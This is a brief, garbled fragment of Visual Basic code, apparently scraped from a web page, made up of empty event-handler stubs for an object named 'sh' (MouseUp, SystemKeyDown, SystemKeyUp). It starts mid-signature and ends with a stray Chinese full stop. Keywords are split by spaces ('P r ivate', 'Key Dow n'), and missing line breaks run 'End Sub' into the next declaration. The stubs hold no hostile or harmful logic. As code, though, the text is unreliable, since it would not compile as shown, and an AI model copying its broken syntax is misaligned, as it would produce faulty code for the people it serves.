Single)End SubP r ivate Sub sh_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single) End SubP r ivate Sub sh_SystemKey Dow n(KeyCode As Integer)End SubP r ivate Sub sh_SystemKey Up(KeyCode As Integer) End Sub。